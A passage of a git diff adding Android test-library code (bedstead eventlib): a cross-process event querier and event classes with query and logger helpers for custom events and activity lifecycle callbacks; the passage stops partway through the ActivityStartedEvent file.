+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                resultMessage = mQuery.get().getNext(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    @Override
+    public E next(Instant earliestLogTime) {
+        ensureInitialised();
+        Bundle data = createRequestBundle();
+        try {
+            Bundle resultMessage = mQuery.get().next(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                resultMessage = mQuery.get().next(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    @Override
+    public E poll(Instant earliestLogTime, Duration timeout) {
+        ensureInitialised();
+        Instant endTime = Instant.now().plus(timeout);
+        Bundle data = createRequestBundle();
+        Duration remainingTimeout = Duration.between(Instant.now(), endTime);
+        data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+        try {
+            Bundle resultMessage = mQuery.get().poll(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                remainingTimeout = Duration.between(Instant.now(), endTime);
+                data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+                resultMessage = mQuery.get().poll(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    private Bundle createRequestBundle() {
+        Bundle data = new Bundle();
+        data.putSerializable(EARLIEST_LOG_TIME_KEY, EventLogs.sEarliestLogTime);
+        return data;
+    }
+
+    private AtomicReference<IQueryService> mQuery = new AtomicReference<>();
+    private CountDownLatch mConnectionCountdown;
+
+    private static final int MAX_INITIALISATION_ATTEMPTS = 10;
+    private static final long INITIALISATION_ATTEMPT_DELAY_MS = 100;
+
+    private void ensureInitialised() {
+        // We have retries for binding because there are a number of reasons binding could fail in
+        // unpredictable ways
+        int attempts = 0;
+        while (attempts++ < MAX_INITIALISATION_ATTEMPTS) {
+            try {
+                ensureInitialisedOrThrow();
+                return;
+            } catch (Exception e) {
+                // Ignore, we will retry
+            }
+            try {
+                Thread.sleep(INITIALISATION_ATTEMPT_DELAY_MS);
+            } catch (InterruptedException e) {
+                throw new AssertionError("Interrupted while initialising", e);
+            }
+        }
+
+        ensureInitialisedOrThrow();
+    }
+
+    private void ensureInitialisedOrThrow() {
+        if (mQuery.get() != null) {
+            return;
+        }
+
+        blockingConnectOrFail();
+        Bundle data = new Bundle();
+        data.putSerializable(QUERIER_KEY, mEventLogsQuery);
+
+        try {
+            mQuery.get().init(id, data);
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    private void blockingConnectOrFail() {
+        mConnectionCountdown = new CountDownLatch(1);
+        Intent intent = new Intent();
+        intent.setPackage(mPackageName);
+        intent.setClassName(mPackageName, "com.android.eventlib.QueryService");
+
+        AtomicBoolean didBind = new AtomicBoolean(false);
+        if (mEventLogsQuery.getUserHandle() != null) {
+            try (PermissionContext p =
+                         sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                didBind.set(sContext.bindServiceAsUser(
+                        intent, connection, /* flags= */ BIND_AUTO_CREATE,
+                        mEventLogsQuery.getUserHandle()));
+            }
+        } else {
+            didBind.set(sContext.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE));
+        }
+
+        if (didBind.get()) {
+            try {
+                mConnectionCountdown.await(CONNECTION_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new AssertionError("Interrupted while binding to service", e);
+            }
+        } else {
+            throw new AssertionError("Tried to bind but call returned false (intent is "
+                    + intent + ", user is  " + mEventLogsQuery.getUserHandle() + ")");
+        }
+
+        if (mQuery.get() == null) {
+            throw new AssertionError("Tried to bind but failed");
+        }
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
new file mode 100644
index 0000000..26c0906
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events;
+
+import android.content.Context;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.queryhelpers.SerializableQuery;
+import com.android.eventlib.queryhelpers.SerializableQueryHelper;
+import com.android.eventlib.queryhelpers.StringQuery;
+import com.android.eventlib.queryhelpers.StringQueryHelper;
+
+import java.io.Serializable;
+
+/**
+ * Implementation of {@link Event} which can be used for events not covered by other
+ * {@link Event} subclasses.
+ *
+ * <p>To use, set custom data as {@link #tag()} and {@link #data()}.
+ */
+public final class CustomEvent extends Event {
+
+    /** Begin a query for {@link CustomEvent} events. */
+    public static CustomEventQuery queryPackage(String packageName) {
+        return new CustomEventQuery(packageName);
+    }
+
+    public static final class CustomEventQuery
+            extends EventLogsQuery<CustomEvent, CustomEventQuery> {
+        StringQueryHelper<CustomEventQuery> mTag = new StringQueryHelper<>(this);
+        SerializableQueryHelper<CustomEventQuery> mData = new SerializableQueryHelper<>(this);
+
+        private CustomEventQuery(String packageName) {
+            super(CustomEvent.class, packageName);
+        }
+
+        /** Filter for a particular {@link CustomEvent#tag()}. */
+        @CheckResult
+        public StringQuery<CustomEventQuery> whereTag() {
+            return mTag;
+        }
+
+        /** Filter for a particular {@link CustomEvent#data()}. */
+        @CheckResult
+        public SerializableQuery<CustomEventQuery> whereData() {
+            return mData;
+        }
+
+        @Override
+        protected boolean filter(CustomEvent event) {
+            if (!mTag.matches(event.mTag)) {
+                return false;
+            }
+            if (!mData.matches(event.mData)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link CustomEvent}. */
+    public static CustomEventLogger logger(Context context) {
+        return new CustomEventLogger(context);
+    }
+
+    public static final class CustomEventLogger extends EventLogger<CustomEvent> {
+        private CustomEventLogger(Context context) {
+            super(context, new CustomEvent());
+        }
+
+        /** Set the {@link CustomEvent#tag()}. */
+        public CustomEventLogger setTag(String tag) {
+            mEvent.mTag = tag;
+            return this;
+        }
+
+        /** Set the {@link CustomEvent#data()}. */
+        public CustomEventLogger setData(Serializable data) {
+            mEvent.mData = data;
+            return this;
+        }
+    }
+
+    protected String mTag;
+    protected Serializable mData;
+
+    /** Get the tag set using {@link CustomEventLogger#setTag(String)}. */
+    public String tag() {
+        return mTag;
+    }
+
+    /** Get the tag set using {@link CustomEventLogger#setData(Serializable)}. */
+    public Serializable data() {
+        return mData;
+    }
+
+    @Override
+    public String toString() {
+        return "CustomEvent{"
+                + "tag='" + mTag + "'"
+                + ", data=" + mData
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
+
+
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
new file mode 100644
index 0000000..0e9660c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+import com.android.eventlib.queryhelpers.BundleQueryHelper;
+import com.android.eventlib.queryhelpers.PersistableBundleQuery;
+import com.android.eventlib.queryhelpers.PersistableBundleQueryHelper;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link Activity#onCreate(Bundle)} or
+ * {@link Activity#onCreate(Bundle, PersistableBundle)} is called.
+ */
+public final class ActivityCreatedEvent extends Event {
+
+    /** Begin a query for {@link ActivityCreatedEvent} events. */
+    public static ActivityCreatedEventQuery queryPackage(String packageName) {
+        return new ActivityCreatedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityCreatedEvent}. */
+    public static final class ActivityCreatedEventQuery
+            extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+        ActivityQueryHelper<ActivityCreatedEventQuery> mActivity = new ActivityQueryHelper<>(this);
+        BundleQueryHelper<ActivityCreatedEventQuery> mSavedInstanceState =
+                new BundleQueryHelper<>(this);
+        PersistableBundleQueryHelper<ActivityCreatedEventQuery> mPersistentState =
+                new PersistableBundleQueryHelper<>(this);
+
+        private ActivityCreatedEventQuery(String packageName) {
+            super(ActivityCreatedEvent.class, packageName);
+        }
+
+        /**
+         * Query {@code savedInstanceState} {@link Bundle} passed into
+         * {@link Activity#onCreate(Bundle)} or
+         * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+         */
+        @CheckResult
+        public BundleQueryHelper<ActivityCreatedEventQuery> whereSavedInstanceState() {
+            return mSavedInstanceState;
+        }
+
+        /**
+         * Query {@code persistentState} {@link PersistableBundle} passed into
+         * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+         */
+        @CheckResult
+        public PersistableBundleQuery<ActivityCreatedEventQuery> wherePersistentState() {
+            return mPersistentState;
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityCreatedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityCreatedEvent event) {
+            if (!mSavedInstanceState.matches(event.mSavedInstanceState)) {
+                return false;
+            }
+            if (!mPersistentState.matches(event.mPersistentState)) {
+                return false;
+            }
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityCreatedEvent}. */
+    public static ActivityCreatedEventLogger logger(Activity activity, Bundle savedInstanceState) {
+        return new ActivityCreatedEventLogger(activity, savedInstanceState);
+    }
+
+    /** {@link EventLogger} for {@link ActivityCreatedEvent}. */
+    public static final class ActivityCreatedEventLogger extends EventLogger<ActivityCreatedEvent> {
+        private ActivityCreatedEventLogger(Activity activity, Bundle savedInstanceState) {
+            super(activity, new ActivityCreatedEvent());
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            setActivity(activity);
+        }
+
+        public ActivityCreatedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setSavedInstanceState(Bundle savedInstanceState) {
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setPersistentState(PersistableBundle persistentState) {
+            mEvent.mPersistentState = new SerializableParcelWrapper<>(persistentState);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Bundle> mSavedInstanceState;
+    protected SerializableParcelWrapper<PersistableBundle> mPersistentState;
+    protected ActivityInfo mActivity;
+
+    /**
+     * The {@code savedInstanceState} {@link Bundle} passed into
+     * {@link Activity#onCreate(Bundle)} or
+     * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+     */
+    public Bundle savedInstanceState() {
+        if (mSavedInstanceState == null) {
+            return null;
+        }
+        return mSavedInstanceState.get();
+    }
+
+    /**
+     * The {@code persistentState} {@link PersistableBundle} passed into
+     * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+     */
+    public PersistableBundle persistentState() {
+        if (mPersistentState == null) {
+            return null;
+        }
+        return mPersistentState.get();
+    }
+
+    /** Information about the {@link Activity} started. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityCreatedEvent{"
+                + " savedInstanceState=" + savedInstanceState()
+                + ", persistentState=" + persistentState()
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
new file mode 100644
index 0000000..da40ebf
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onDestroy()} is called.
+ */
+public final class ActivityDestroyedEvent extends Event {
+
+    /** Begin a query for {@link ActivityDestroyedEvent} events. */
+    public static ActivityDestroyedEventQuery queryPackage(String packageName) {
+        return new ActivityDestroyedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityDestroyedEvent}. */
+    public static final class ActivityDestroyedEventQuery
+            extends EventLogsQuery<ActivityDestroyedEvent, ActivityDestroyedEventQuery> {
+        ActivityQueryHelper<ActivityDestroyedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityDestroyedEventQuery(String packageName) {
+            super(ActivityDestroyedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityDestroyedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityDestroyedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityDestroyedEvent}. */
+    public static ActivityDestroyedEventLogger logger(Activity activity) {
+        return new ActivityDestroyedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityDestroyedEvent}. */
+    public static final class ActivityDestroyedEventLogger
+            extends EventLogger<ActivityDestroyedEvent> {
+        private ActivityDestroyedEventLogger(Activity activity) {
+            super(activity, new ActivityDestroyedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityDestroyedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityDestroyedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityDestroyedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityDestroyedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
new file mode 100644
index 0000000..5f22317
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onPause()} is called.
+ */
+public final class ActivityPausedEvent extends Event {
+
+    /** Begin a query for {@link ActivityPausedEvent} events. */
+    public static ActivityPausedEventQuery queryPackage(String packageName) {
+        return new ActivityPausedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityPausedEvent}. */
+    public static final class ActivityPausedEventQuery
+            extends EventLogsQuery<ActivityPausedEvent, ActivityPausedEventQuery> {
+        ActivityQueryHelper<ActivityPausedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityPausedEventQuery(String packageName) {
+            super(ActivityPausedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityPausedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityPausedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityPausedEvent}. */
+    public static ActivityPausedEventLogger logger(Activity activity) {
+        return new ActivityPausedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityPausedEvent}. */
+    public static final class ActivityPausedEventLogger
+            extends EventLogger<ActivityPausedEvent> {
+        private ActivityPausedEventLogger(Activity activity) {
+            super(activity, new ActivityPausedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityPausedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityPausedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityPausedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityPausedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
new file mode 100644
index 0000000..c8f6d86
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onRestart()} is called.
+ */
+public final class ActivityRestartedEvent extends Event {
+
+    /** Begin a query for {@link ActivityRestartedEvent} events. */
+    public static ActivityRestartedEventQuery queryPackage(String packageName) {
+        return new ActivityRestartedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityRestartedEvent}. */
+    public static final class ActivityRestartedEventQuery
+            extends EventLogsQuery<ActivityRestartedEvent, ActivityRestartedEventQuery> {
+        ActivityQueryHelper<ActivityRestartedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityRestartedEventQuery(String packageName) {
+            super(ActivityRestartedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityRestartedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityRestartedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityRestartedEvent}. */
+    public static ActivityRestartedEventLogger logger(Activity activity) {
+        return new ActivityRestartedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityRestartedEvent}. */
+    public static final class ActivityRestartedEventLogger
+            extends EventLogger<ActivityRestartedEvent> {
+        private ActivityRestartedEventLogger(Activity activity) {
+            super(activity, new ActivityRestartedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityRestartedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityRestartedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityRestartedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityRestartedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
new file mode 100644
index 0000000..5d10f83
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onResume()}} is called.
+ */
+public final class ActivityResumedEvent extends Event {
+
+    /** Begin a query for {@link ActivityResumedEvent} events. */
+    public static ActivityResumedEventQuery queryPackage(String packageName) {
+        return new ActivityResumedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityResumedEvent}. */
+    public static final class ActivityResumedEventQuery
+            extends EventLogsQuery<ActivityResumedEvent, ActivityResumedEventQuery> {
+        ActivityQueryHelper<ActivityResumedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityResumedEventQuery(String packageName) {
+            super(ActivityResumedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityResumedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityResumedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityResumedEvent}. */
+    public static ActivityResumedEventLogger logger(Activity activity) {
+        return new ActivityResumedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityResumedEvent}. */
+    public static final class ActivityResumedEventLogger
+            extends EventLogger<ActivityResumedEvent> {
+        private ActivityResumedEventLogger(Activity activity) {
+            super(activity, new ActivityResumedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityResumedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityResumedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityResumedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityResumedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
new file mode 100644
index 0000000..e0ee657
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onStart()} is called.
+ */
+public final class ActivityStartedEvent extends Event {
+
+    /** Begin a query for {@link ActivityStartedEvent} events. */
+    public static ActivityStartedEventQuery queryPackage(String packageName) {
+        return new ActivityStartedEventQuery(packageName);
+    }
+
